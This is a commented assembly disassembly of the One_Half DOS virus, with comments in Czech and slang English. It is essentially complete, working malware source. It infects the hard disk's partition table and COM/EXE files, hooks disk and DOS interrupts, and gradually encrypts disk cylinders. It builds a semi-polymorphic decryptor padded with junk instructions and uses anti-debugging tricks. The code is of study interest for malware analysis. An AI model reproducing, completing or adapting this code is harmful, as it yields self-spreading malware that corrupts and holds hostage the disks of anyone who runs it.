; Virus One_Half
; Dissasembly done by BLOOD

; Semi-polymorfni multiparitni virus slovenskeho puvodu

.486p

.487

seg_a		segment	byte public use16
		assume	cs:seg_a, ds:seg_a


		org	100h

one_half	proc	far
start:
		jmp	loc_08d1		; jmp na viruz_start
		;jmp	loc_0208		; jmp na start decodovaci_
		;				; rutiny ...
		db	101 dup (0)
loc_0168:
		db	 81h,0C0h,0FEh, 6Eh	; add	ax, 6EFEh
		jmp	loc_056c
		;
		db	19 dup (0)
loc_0182:
		cld
		std
		jnz	short loc_01B1
		jmp	loc_08D1
		;
		db	40 dup (0)
		;
loc_01B1:
		xor	[di], ax
		jmp	short loc_0168
		;
		db	64 dup (0)
		;
loc_01f5:
		db	2eh			; cs:
		mov	di, 582h
		db	36h			; ss:
		db	3eh			; ds:
		jmp	loc_049b
		;
		db	10 dup (0)
		;
loc_0208:
		push	ax
		nop
		db	36h			; ss:
		sti
		db	36h			; ss:
		clc
		sti
		jmp loc_0381
		;
		db	367 dup (0)
		;
loc_0381:
		push	cs
		cld
		jmp	loc_047c
		;
		db	246 dup (0)
		;
loc_047C:
		nop
		sti
		db	36h			; ss:
		clc
		nop
		pop	ds
		db	36h			; ss:
		jmp	loc_01f5
		;
		db	21 dup (0)
		;
loc_049b:
		cld
		db	3eh			; ds:
		mov	ax, 0bfbah
		db	3eh			; ds:
		std
		jmp	loc_01b1
		;
		db	148 dup (0)
		;
loc_0539:
		db	 81h,0FFh, 5Ah, 13h	; cmp	di, 135ah
		sti
		jmp	loc_0182
		;
		db	43 dup (0)
		;
loc_056c:
		clc
		sti
		cmc
		db	3eh			; ds:
		nop
		inc	di
		db	36h			; ss:
		jmp	loc_0539
		pop	ss
		;
		db	12 dup (0)
		;

		;
loc_0582:
		;
p		label	near
p_		equ	offset the_second_part - offset boot_start
p__		equ	presun_rutiny + (p - buffer)
		;
_mcb_		db	'Z'			; it'z last_block
		dw	9F01h			; PSP
		dw	0FFh			; 4096 bytez
		db	3 dup(?)		; reserved
		db	'COMMAND', 0		; blockz_owner_name ...
		;
exe_header	dw	20CDh			; exe_signature
part_pag	dw	501eh
page_cnt	dw	09b4h
relo_cnt	dw	0
hdr_size	dw	21cdh
min_mem		dw	1f58h
max_mem		dw	0bac3h
relo_ss		dw	03d0h
exe_sp		dw	0efe8h
exe_flag	db	00h			; checksum
		db	0b4h
exe_ip		dw	0100h
relo_cs		dw	0FFF0h
tabl_off	dw	0BA05h
		;
decode_routine_table:
		dw	0208h			; here'z the table
		dw	0381h			; of offsetz, where are
		dw	047ch			; the chunkz of code of
		dw	01f5h			; decode_routine
		dw	049bh
xor_offset	dw	01b1h
		dw	0168h
		dw	056ch
		dw	0539h
jnz_offset	dw	0182h
		;
beginning_ofs	dw	07beh
		;
overwritten_bytez:
		db	06h, 83h, 05h, 00h, 00h, 2Eh
		db	8Ch, 0Eh, 85h, 05h, 4Fh, 02h
		db	00h, 2Eh,0A1h,0A3h, 05h, 26h
		db	0C7h
		db	'G.com <jmen'
		db	0Bh, 26h, 3Ah, 47h, 21h,0BAh
		db	4Ah, 05h, 0Fh
		db	'刜driveru>', 0Ah, 't'
		db	0FFh,0C6h, 44h,0FFh, 00h,0B8h
		db	03h, 4Bh,0BBh, 80h, 00h, 8Ah
		db	0Ch, 0Ah,0C9h,0BAh, 68h, 04h
		db	0Fh
		db	'ys ...', 0Ah, 0Dh, '$'
		db	17h
		db	'instalovan'
		db	02h,0EBh, 03h,0E9h, 43h, 02h
		db	4Eh, 56h, 89h, 36h
		;

		;
hdr_size_	dw	10h
date_div	dw	1Eh
page_size_	dw	200h
		;

; Tady zacina bootovaci verze One_Halfa
boot_start:
		xor bx, bx
		cli
		mov sp, 07c00h			; set up stack
		mov ss, bx			; 2 0000h:7c00h
		sti
		mov ds, bx
		sub word ptr ds:[413h], 4	; dec mem_size o 4 kila
		mov cl, 6
		int 12h				; gimme mem_size
		shl ax, cl			; count the segment
		mov dx, 80h			; first harddisk, 0. head
		mov es, ax			; my_new_seg 2 es
		db	0b9h			; mov cx, ?
viruz_start_sec	dw	0bh			; gimme virus_start_sec
		mov ax, 0207h			; read 7 secz
		push es				; (viruz_body)
		int 13h
		mov ax, offset the_second_part - p
		push ax
		retf				; go2 new_segment_part
		;
the_second_part:
		mov word ptr ds:[21h * 4 + 2], cs; store cs 2 21h * 4 + 2
		mov ax, word ptr ds:[46ch]	; gimme tick_counter
		push ds
		push cs				; make ds = cs
		pop ds
		mov word ptr ds:[mov_bx_? - p], ax	; store counter
		mov ax, cs
		inc ax
		mov word ptr ds:[_mcb_ + 1 - p], ax	; store block_owner
		mov byte ptr ds:[run_jmp - p], 0; nulluj displ8 2 set our
						; own _mcb_ as last_one
		call sub_078b			; move presun_rutiny
		pop es
		mov bx, sp			; 7c00h 2 bx
		push es
		mov si, word ptr es:[bx+p_]	; gimme cur_cyl_number_
						; _2_crypt
		db	81h, 0feh		; cmp si, ?
lowest_cyl	dw	07h			; less than lowest_cyl ?
		jbe loc_06d6
		push si				; nope
		sub si, 2			; ok crypt 2 cylinderz
		mov word ptr ds:[not_crypt_cyl - p], si	; store cyl - 2
		pop si
		mov ah, 08h			; gimme drivez_paramz
		int 13h
		jc loc_06d6			; error ?
		mov al, cl			; gimme max_sec_number
		and al, 03fh			; voklesti max_sec
		mov byte ptr ds:[secz_count - p__], al	; secz_2_crypt
		mov cl, 1			; starting_sec 2 cl
		mov bh, 7eh			; buffer_ptr 2 7e00h
		mov word ptr ds:[buf_ptr - p__], bx	; store buffer_ptr
		mov dl, 80h			; set up drive 2 first harddisk
loc_069E:
		dec	si			; dec cylinder_number
		call	sub_0798		; convert cyl_number
		push	dx
loc_06A3:
		mov	ah, 2			; read 1 cylinder
		push	ax
		int	13h
		pop	ax
		jc	short loc_06B4		; error ?
		db	0e8h			; call crypt_
		dw	offset crypt_ - presun_rutiny + buffer - next_
next_		label	near			; crypt_ it
		inc	ah			; make function 03h
		push	ax
		int	13h			; and write crypted_cyl
		pop	ax
loc_06B4:
		jc	short loc_072B		; error ?
		test	dh, 3Fh			; last head ?
		jz	short loc_06BF
		dec	dh			; dec head
		jmp	short loc_06A3		; and go on
loc_06BF:					; yope
		pop	dx
		db	81h, 0feh		; cmp	si, ?
not_crypt_cyl	dw	1bfh			; ok 2 cylinderz crypted_ ?
		ja	loc_069E
loc_06C6:					; yope
		mov	bh, 7Ch			; buffer 2 7c00h
		mov	es:[bx+p_], si		; store new cur_cyl_number_2_
		mov	ax, 301h		; _crypt
		mov	cx, 1			; and write partition_table
		mov	dh, ch			; (boot_start) back
		int	13h
loc_06D6:
		mov	ds:[cur_cyl_number - p__], si
		db	81h, 0feh		; cmp	si, ?
one_half_cyl	dw	136h			; more than one_half_crypted ?
		ja	short loc_06E3
		call	sub_07EC		; ok try 2 write text
loc_06E3:					; nope not yet
		mov	ax, 201h		; ok now read
		mov	bx, 7C00h		; 2 buffer 7c00h
		mov	cx, ds:[viruz_start_sec - p]	; gimme viruz_...
		dec	cx			; go2 orig_partition_table
		mov	dx, 80h			; orig_partition_table
		int	13h
		cli
		les	ax, dword ptr es:[13h * 4]	; gimme old_int_13h
		mov	ds:[old_int_13h - p__], ax	; and store it
		mov	ds:[old_int_13h - p__ + 2], es
		pop	es
		push	es
		les	ax, dword ptr es:[1ch * 4]	; gimme old_int_1ch
		mov	ds:[old_int_1ch - p], ax	; and store it
		mov	ds:[old_int_1ch - p + 2], es
		pop	es
		push	es				; set up my own
		mov	word ptr es:[13h * 4], offset new_int_13h - p__
		mov	word ptr es:[13h * 4 + 2], cs	; new_int_13h
		mov	word ptr es:[1ch * 4], offset new_int_1ch - p
		mov	word ptr es:[1ch * 4 + 2], cs	; and new_int_1ch
		sti
		push	bx
		retf				; and jump 2 orig_partition

; Diz uncryptz_cylinderz if any error occurez
loc_072B:
		xor	ah, ah
		push	ax
		int	13h			; try 2 reset the disk
		pop	ax
loc_0731:
		inc	dh			; inc head
		mov	ah, dh			; head 2 ah
		pop	dx			; pop max_head
		push	dx
		cmp	ah, dh			; cmp cur_head with max_head
		ja	short loc_074E		; above ?
		mov	dh, ah			; cur_head 2 dh
		mov	ah, 2			; read cylinder
		push	ax
		int	13h
		pop	ax
		db	0e8h			; call crypt_
		dw	offset crypt_ - presun_rutiny + buffer - next__
next__		label	near			; uncrypt_ it
		inc	ah
		push	ax
		int	13h			; and write it back
		pop	ax
		jmp	short loc_0731
loc_074E:					; yope (error on first_cyl)
		pop	dx			; pop max_head
		inc	si			; inc cyl_number
		jmp	loc_06C6		; and end with crypt_
			
new_int_1ch:
		push	ax
		push	ds
		push	es
		xor	ax, ax
		mov	ds, ax
		les	ax, dword ptr ds:[21h * 4]	; gimme int_21h
		mov	cs:[old_int_21h - p__], ax	; store offset
		mov	ax, es			; gimme seg
		cmp	ax, 800h		; are we under 800h ?
		ja	short loc_0783
		mov	word ptr cs:[old_int_21h - p__ + 2], ax	; yope
						; we've got dos_int_21h_seg
		les	ax, dword ptr cs:[old_int_1ch - p]; gimme old_int_1ch
		mov	ds:[1ch * 4], ax	; restore it back
		mov	word ptr ds:[1ch * 4 + 2], es
		mov	word ptr ds:[21h * 4], offset new_int_21h - p;and set up
		mov	word ptr ds:[21h * 4 + 2], cs	; my new_int_21h
loc_0783:					; nope
		pop	es
		pop	ds			; restore regz
		pop	ax			; and
		db	0EAh			; jmp far ptr old_int_1ch
old_int_1ch	dw	0FF53h, 0F000h

one_half	endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz movez some routinez ...
sub_078B	proc	near
		mov	si, offset presun_rutiny - p
		mov	di, offset buffer - p
		mov	cx, offset f_read_ - offset presun_rutiny - 4
		cld
		rep	movsb
		retn
sub_078B	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz makez from cyl_number_in_si valid cx_reg
sub_0798	proc	near
		push	ax
		mov	ax, si
		mov	ch, al
		push	cx
		mov	cl, 4
		shl	ah, cl
		pop	cx
		mov	al, 3Fh			; '?'
		and	dh, al
		and	cl, al
		not	al
		push	ax
		and	ah, al
		or	dh, ah
		pop	ax
		shl	ah, 1
		shl	ah, 1
		and	ah, al
		or	cl, ah
		pop	ax
		retn
sub_0798	endp

text_		db	'Dis is one half.', 0Dh, 0Ah, 'Pr'
		db	'ess any key to continue ...', 0Dh
		db	0Ah

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz writez text if run_counter sudej and it iz sudej day etc.
sub_07EC	proc	near
		mov	ah, 4			; gimme CMOS date_&_time
		int	1Ah
		jc	short loc_ret_0816
		test	dl, 3			; day sudej etc. ?
		jnz	short loc_ret_0816
		test	word ptr ds:[run_counter - p], 1; run_counter sudej
		jnz	short loc_ret_0816
		mov	cx, offset sub_07ec - offset text_; gimme text_length
		mov	si, offset text_ - p	; gimme text_offset
		mov	ah, 0Fh			; gimme cur_video_page_number
		int	10h			; why ?
		mov	bl, 7
		mov	ah, 0Eh			; print char 2 cur_page ...

locloop_080D:
		lodsb				; gimme byte
		int	10h
		loop	locloop_080D		; and go on

		xor	ah, ah			; wait 4 keyprezz
		int	16h

loc_ret_0816:
		retn				; and end ...
sub_07EC	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz callz int_21h_file_fc with a handle in bx
sub_0817	proc	near
		push	bx
		db	0bbh			; mov	bx, ?
handle_		dw	0			; gimme handle
		int	21h			; call int_21h
		pop	bx
		retn				; and end ...
sub_0817	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz callz int_13h
int_13h		proc	near
		pushf
		cli
		db	9Ah			; call far ptr int_13h_addr
int_13h_addr	dw	774h, 70h
		retn
int_13h		endp


; Pouzito pro tracing int_13h
new_int_01h:
		push	bp
		mov	bp, sp
		db	0ebh
jump_patch_?	db	offset loc_084f - ($ + 1); jmp	short loc_084F
		db	81h, 7eh, 04h		; cmp	word ptr [bp+4], ?
which_segment_?	dw	0253h
		ja	short loc_0853
		push	ax
		push	bx
		push	ds
		lds	ax, dword ptr [bp+2]
		db	0bbh
new_int_01h_mov_bx_?	dw	5200h		; mov bx, ?
		mov	cs:[int_13h_addr - p][bx], ax
		mov	cs:[int_13h_addr - p + 2][bx], ds
		mov	byte ptr cs:[jump_patch_? - p][bx], offset loc_084f - (offset jump_patch_? + 1)
		pop	ds
		pop	bx
		pop	ax
loc_084F:
		and	byte ptr [bp+7], 0FEh
loc_0853:
		pop	bp
		iret

; Diz installz viruz 2 mem
loc_0855:
		pop	bx			; pop index
		pop	ax			; pop es_seg
		push	ax
		dec	ax			; go2 mcb_block
		mov	ds, ax			; store it 2 ds
		cmp	byte ptr ds:[0], 5Ah	; last one ?
		jne	short loc_08CE
		add	ax, ds:[3]		; add blockz_size
		sub	ax, 0FFh		; sub 4 viruz_body
		mov	dx, cs			; (4 our bufferz etc.)
		mov	si, bx			; index 2 so
		mov	cl, 4
		shr	si, cl			; make paragraphz
		add	dx, si			; add it 2 cs
		db	2eh, 8bh, 0b7h, 1ah, 00h; mov	si, cs:[1ah][bx]
						; gimme min_mem (from exe_header)
		cmp	si, 106h
		jae	short loc_0881
		mov	si, 106h
loc_0881:
		add	dx, si			; add min_mem
		cmp	ax, dx			; less ?
		jb	short loc_08CE
		mov	byte ptr ds:[0], 4Dh	; make middle_block
		sub	word ptr ds:[3], 100h	; sub 100h paragraphz
						; (0ffh viruz and 01h _mcb_)
		mov	ds:[12h], ax		; set new mem_top 2 PSP
		mov	es, ax			; gimme where_2_move_seg
		push	cs
		pop	ds
		inc	ax
		mov	ds:[1], ax		; store owner
		mov	byte ptr [which_jump_? - p][bx], 0EBh
		mov	si, bx			; gimme index
		xor	di, di			; move 2 0000h
		mov	cx, offset buffer - p	; gimme viruz_size
		rep	movsb			; and finally move
		push	es
		pop	ds
		call	sub_078B		; move presun_rutiny
		xor	ax, ax
		mov	ds, ax
		cli
		mov	ax, ds:[21h * 4]	; gimme old_int_21h
		mov	es:[old_int_21h - p__], ax	; store it
		mov	ax, word ptr ds:[21h * 4 + 2]
		mov	es:[old_int_21h - p__ + 2], ax
		mov	word ptr ds:[21h * 4], offset new_int_21h - p
		mov	word ptr ds:[21h * 4 + 2], es	; and set my own
		sti				; int_21h
loc_08CE:
		jmp	loc_0A1E		; and go on
				
; Diz iz the beginning ...
loc_08D1:
		call	sub_08D4

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_08D4	proc	near
		pop	si
		sub	si, offset sub_08d4 - p ; count where we are
		mov	[new_int_01h_mov_bx_? - p][si], si
		push	es
		push	si			; si = 582h
		cld
		inc	word ptr [run_counter - p][si]
		mov	byte ptr [which_jump_? - p][si], 74h
		xor	ax, ax
		mov	es, ax
		mov	ax, es:[46Ch]		; gimme tick_counter
		mov	[mov_bx_? - p][si], ax	; store it
		mov	[crypt_value - p][si], ax; 2 timez
		mov	ax, 4B53h		; am i in mem ?
		int	21h
		cmp	ax, 454Bh		; check mark
		je	short loc_0965
		mov	ah, 52h			; nope so go on
		int	21h			; gimme list_of_listz_ptr
		mov	ax, es:[bx-2]		; gimme 1. MCB_segment
		mov	[which_segment_? - p][si], ax	; store it
		mov	byte ptr [jump_patch_? - p][si], 0
		mov	ax, 3501h		; get int_01h
		int	21h
		push	bx			; store it to stack
		push	es
		mov	ax, 3513h		; get int_13h
		int	21h
		mov	[int_13h_addr - p][si], bx	; store it to
		mov	[int_13h_addr - p + 2][si], es; variablez
		mov	ax, 2501h		; set my int_01h
		lea	dx, [new_int_01h - p][si]
		int	21h
		lea	bx, [buffer - p][si]
		mov	cx, 1			; read partition_table
		mov	dx, 80h
		push	cs
		pop	es
		pushf
		pop	ax
		or	ah, 1			; set trap_flag
		push	ax
		popf
		mov	ax, 201h		; and trace int_13h
		call	int_13h
		pushf
		pop	ax
		and	ah, 0FEh		; nulluj trap_flag
		push	ax
		popf
		pop	ds
		pop	dx
		pushf
		mov	ax, 2501h		; restore int_01h
		int	21h
		popf
		jc	short loc_09C0		; any errorz ?
		push	cs
		pop	ds
		cmp	word ptr [bx+25h], offset the_second_part - p
		jne	short loc_0968		; iz in partition my viruz ?
						; (mark)
loc_0965:
		jmp	loc_0A1D
loc_0968:
		cmp	word ptr [bx + 180h], 72Eh; next mark
		je	short loc_09C0
		mov	ah, 8			; gimme hard_paramz
		mov	dl, 80h			; prvniho_hadru
		call	int_13h
		jc	short loc_09C0		; error ?
		and	cx, 3Fh			; voklesti max_sector
		mov	[max_sektor - p][si], cl
		mov	[max_sektor_2 - p][si], cl
		and	dh, 3Fh			; voklesti headz
		mov	[max_heads - p][si], dh
		mov	ax, 301h
		sub	cl, 7
		mov	[partition_sec_n - p][si], cl
		mov	dx, 80h
		call	int_13h			; write partition_table
		jc	short loc_09C0		; error ?
		push	cx
		push	dx
		push	si
		xchg	di, si
		mov	cx, 4			; 4 entryz
		add	bx, 1EEh		; go2 last_parition_entry
locloop_09A9:
		mov	al, [bx+4]		; nacti typ FATky
		cmp	al, 1			; DOS 12bit ?
		je	short loc_09C3
		cmp	al, 4			; 4 = DOS 16bit ?
		jb	short loc_09B8		; 5 = EXTENDED_DOS_PARTITION ?
		cmp	al, 6			; 6 = BIGDOS (nad 32Mbyte) ?
		jbe	short loc_09C3
loc_09B8:
		sub	bx, 10h			; kazdej zaznam 10h bytez
		loop	locloop_09A9

		pop	si
		pop	dx
		pop	cx
loc_09C0:
		jmp	loc_0855		; jmp 2 mem_install
loc_09C3:
		mov	cx, [bx+2]		; gimme boot_start
		mov	dh, [bx+1]		; gimme head
		call	sub_0D2F		; convert_it
		add	si, 7			; make valid cyl_number
		mov	[lowest_cyl - p][di], si	; store it
		xchg	si, ax
		mov	cx, [bx+6]		; gimme end cylinder
		mov	dh, [bx+1]		; gimme head
		call	sub_0D2F		; convert_it
		mov	[max_cyl_number - p][di], si; store it
		mov	[mov_ax_? - p][di], si	; store it
		add	ax, si
		shr	ax, 1			; div with 2
		mov	[one_half_cyl - p][di], ax; store one_half
		pop	si
		pop	dx
		pop	cx
		mov	ax, 307h
		xchg	bx, si
		inc	cx
		mov	[viruz_start_sec - p][bx], cx
		call	int_13h			; write viruz_ body
		jc	loc_09C0		; (whole)
		lea	si, [boot_start - p][bx]; and now move boot
		lea	di, [buffer - p][bx]
		push	di
		mov	cx, offset the_second_part - offset boot_start
		rep	movsb
		db	0b8h			; mov	ax, ?
mov_ax_?	dw	265h			; store starting_sector_
		stosw				; _2_ crypt
		mov	ax, 301h		; write the new parition_table
		pop	bx
		mov	cx, 1
		call	int_13h
		jc	loc_09C0		; error ?
loc_0A1D:
		pop	bx			; nope
loc_0A1E:
		push	cs			; no a tohle je obnova
		pop	ds			; casti, ktery byly
		push	cs			; prepsany dekodovaci
		pop	es			; rutinou
		db	8Dh,0B7h		; lea si, cs:[overwritt...][bx]
		dw	offset overwritten_bytez - p
		db	81h,0C3h		;add bx, offset decode_...
		dw	offset decode_routine_table - p
		mov	cx, 0Ah			; there'z 0ah_partz

locloop_0A2D:
		mov	di, [bx]		; gimme where_2_move_offset
		push	cx
		mov	cx, 0Ah			; every_part haz 0ah bytez
		rep	movsb
		pop	cx
		inc	bx			; go2 next_move_offset
		inc	bx
		loop	locloop_0A2D		; and go on

		pop	es
		db	83h,0C3h		; add	bx, 0 - (....)
		db	0 - (offset beginning_ofs - offset exe_header)
		mov	di, es			; bx 2 exe_header_offset
		add	di, 10h			; count start_seg
		add	[bx+16h], di		; store relo_cs
		add	[bx+0Eh], di		; store relo_ss
		cmp	word ptr [bx+6], 0	; what'bout relo_cnt ?
		je	short loc_0AB6		; there'z any ?
		mov	ds, es:[2ch]		; yope; gimme environment_seg
		xor	si, si			; start at offset 00h
loc_0A56:
		inc	si
		cmp	word ptr [si], 0	; eof formal_environment ?
		jne	loc_0A56
		add	si, 4			; go2 prog_name
		xchg	dx, si
		mov	ax, 3D00h		; open prog_file
		int	21h
		jc	short loc_0ADB		; error ?
		push	cs
		pop	ds
		mov	ds:[handle_ - p - 10h][bx], ax	; store handle_
		mov	dx, [bx+18h]		; gimme tabl_offset
		mov	ax, 4200h		; f_ptr 2 it
		call	sub_0817
		push	es			; store start_seg
		xchg	di, ax
loc_0A79:
		push	ax
		lea	dx, cs:[reloc_buffer - p - 10h][bx]
		mov	cx, [bx+6]		; gimme relo_cnt
		cmp	cx, (name_buffer + 34 - random_number) shr 2
		jb	short loc_0A8A		; 2 big ?
		mov	cx, (name_buffer + 34 - random_number) shr 2
						; yope gimme max_relo_cnt_now
loc_0A8A:
		sub	[bx+6], cx		; sub it from relo_cnt
		push	cx
		shl	cx, 1			; mul it with 4
		shl	cx, 1			; (segment:offset)
		mov	ah, 3Fh			; read reloc_table
		call	sub_0817
		jc	short loc_0ADB		; error ?
		pop	cx
		pop	ax
		xchg	si, dx

locloop_0A9D:
		add	[si+2], ax		; make relo_seg
		les	di, dword ptr [si]	; gimme relo_addr
		add	es:[di], ax		; and add start_seg
		add	si, 4			; go2 next entry
		loop	locloop_0A9D

		cmp	word ptr [bx+6], 0	; relo_cnt nullovy ?
		ja	loc_0A79		; if yope go on
		pop	es			; nope
		mov	ah, 3Eh			; so close_file
		call	sub_0817
loc_0AB6:					; nope
		push	es
		pop	ds
		cmp	byte ptr cs:[bx+12h], 0	; com_file ?
		jne	short loc_0ACC
		mov	si, bx			; gimme exe_header_offset
		mov	di, 100h
		mov	cx, 3			; move 3 bytez 2 100h
		rep	movsb
		pop	ax
		jmp	short loc_0AD7		; and go on
loc_0ACC:					; nope it'z exe_file
		pop	ax
		cli
		mov	sp, cs:[bx+10h]		; gimme sp
		mov	ss, cs:[bx+0Eh]		; gimme ss
		sti
loc_0AD7:
		jmp	dword ptr cs:[bx+14h]	; finally jmp 2 real_prog_start
loc_0ADB:
		mov	ah, 4Ch			; there waz an error !
		int	21h

		;
reloc_buffer	label	near
		;

; in : dx = max_number
; out : dx = random_number
random_number:
		mov	cs:[mov_si_? - p], si
		push	ax
		push	bx
		push	cx
		push	dx
		db	0b9h			; mov	cx, ?
mov_cx_?	dw	0b0d4h
		db	0bbh			; mov	bx, ?
mov_bx_?	dw	6210h
		mov	dx, 15Ah
		mov	ax, 4E35h
		xchg	si, ax
		xchg	dx, ax
		test	ax, ax
		jz	short loc_0AFC
		mul	bx
loc_0AFC:
		jcxz	short loc_0B03
		xchg	cx, ax
		mul	si
		add	ax, cx
loc_0B03:
		xchg	si, ax
		mul	bx
		add	dx, si
		inc	ax
		adc	dx, 0
		mov	cs:[mov_bx_? - p], ax
		mov	cs:[mov_cx_? - p], dx
		mov	ax, dx
		pop	cx
		xor	dx, dx
		jcxz	short loc_0B1E
		div	cx
loc_0B1E:
		pop	cx
		pop	bx
		pop	ax
		pop	si
		push	si
		cmp	byte ptr cs:[si], 0CCh	; there'z a breakpoint ?
loc_0B27:
		je	loc_0B27		; if yope stay in loop
						; (nice_try ...)
		db	0beh			; mov	si, ?
mov_si_?	dw	5cbh
		retn
sub_08D4	endp


; decode_routine haz 10 piecez ... (10 instructionz)
		;
instr_start:
		db	01h			; instruction_length
		db	50h			; push ?_reg
		;
		db	01h			; instruction_length
push_what	db	0eh			; push cs or push ss
		;
		db	01h			; instruction_length
		db	1fh			; pop ds
		;
		db	03h			; instruction_length
mov_index_?	db	0bfh			; mov ?_index_reg, im16
viruz_start	dw	0582h			; im16
		;
		db	03h			; instruction_length
mov_?_instr	db	0b8h			; mov ?_reg, im16
crypt_viruz_value	dw	0bfbah		; im16
		;
		db	02h			; instruction_length
		db	31h			; xor [index_reg], ?_reg
xor_?_instr	db	05h			; ModR/M
		;
		db	04h			; instruction_length
		db	81h			; add ?_reg, im16
add_?_instr	db	0c0h			; ModR/M, opcode
next_crypt_value_	dw	6efeh		; im16
		;
		db	01h			; instruction_length
inc_?_instr	db	47h			; inc ?_reg
		;
		db	04h			; instruction_length
		db	81h			; cmp ?_index_reg, im16
cmp_index_?	db	0ffh			; ModR/M, opcode
viruz_end	dw	135ah			; im16
		;
		db	02h			; instruction_length
		db	75h			; jnz disp8
		db	0efh
		;
		
		;
unimportant_instr:
		;
		nop
		stc
		clc
		sti
		db	 2Eh			; cs:
		db	 36h			; ss:
		db	 3Eh			; ds:
		cld
		std
		cmc
		;

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz movez unimportant_instr 2 buffer
; in : dx = wieviel :-)
sub_0B57	proc	near
		or	dx, dx			; count nullovy ?
		jz	short loc_ret_0B71
		push	si
		push	cx			; push regz
		push	dx
		mov	cx, dx			; count 2 cx

locloop_0B60:
		mov	si, offset unimportant_instr - p
		mov	dx, 0Ah			; max_random 2 0ah (10 instr)
		call	random_number		; gimme random_number
		add	si, dx			; go2 instruction
		movsb				; move it
		loop	locloop_0B60		; and go on

		pop	dx
		pop	cx			; restore regz
		pop	si

loc_ret_0B71:
		retn				; and end ...
sub_0B57	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz putz be4 and after instruction unimportant_instructionz
; in : dx = wieviel u_instr
sub_0B72	proc	near
		mov	ax, dx			; instr_count 2 ax
		inc	dx
		call	random_number		; gimme random_number
		sub	ax, dx			; sub cur_instr_count from
						; instr_count
		call	sub_0B57		; move unimportant_instr
		xchg	dx, ax
		rep	movsb			; move real_instruction
		db	81h,0FBh		; cmp bx, offset jnz_offset - p
		dw	offset jnz_offset - p	; it'z last_one ? (jnz xor_...)
		jnz	short loc_0B92
		mov	ax, ds:[xor_offset - p]	; gimme xor_offset
		sub	ax, di			; sub cur_instr_buffer_index
		add	ax, offset instr_buffer - p; add instr_buffer_back
		sub	ax, [bx]		; sub jnz_offset
		dec	di			; go2 disp8
		stosb				; and store it
loc_0B92:
		call	sub_0B57		; and now put some u_instr
						; after real_instruction
		retn				; and end ...
sub_0B72	endp

m_?_i		dw	offset mov_?_instr - p	; 0b38h	; 0b96h	; 0614h
x_?_i		dw	offset xor_?_instr - p	; 0b3dh	; 0b98h	; 0616h
a_?_i		dw	offset add_?_instr - p	; 0b40h	; 0b9ah	; 0618h
m_i_?		dw	offset mov_index_? - p	; 0b34h	; 0b9ch	; 061ah
x_?_i_		dw	offset xor_?_instr - p	; 0b3dh	; 0b9eh	; 061ch
i_?_i		dw	offset inc_?_instr - p	; 0b44h	; 0ba0h	; 061eh
c_i_?		dw	offset cmp_index_? - p	; 0b47h	; 0ba2h	; 0620h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Tohle nastavi spravny ModR/M a instrukce ....
; Deje se tove dvou fazich :
; 1. : m_?_i - a_?_i = nastavi se instrukce pracujici s xor_registrem
; 2. : m_i_? - c_i_? = nastavi se instrukce pracujici s index_registrem
; in : dl = random_number zavisejici na fazi
sub_0BA4	proc	near
loc_0BA4:
		lodsw
		xchg	di, ax
		mov	al, dl
		cmp	si, offset i_?_i - p
		jne	short loc_0BB6
		and	al, 5
		cmp	al, 1
		jne	short loc_0BC6
		mov	al, 7
loc_0BB6:
		cmp	si, offset a_?_i - p
		jne	short loc_0BC6
		mov	cl, 3
		shl	al, cl
		or	[di], al
		or	al, 0C7h
		jmp	short loc_0BCA
loc_0BC6:
		or	[di], al
		or	al, 0F8h
loc_0BCA:
		and	[di], al
		cmp	si, offset m_i_? - p
		je	short loc_ret_0BDA
		cmp	si, offset sub_0BA4 - p
		je	short loc_ret_0BDA
		jmp	short loc_0BA4

loc_ret_0BDA:
		retn
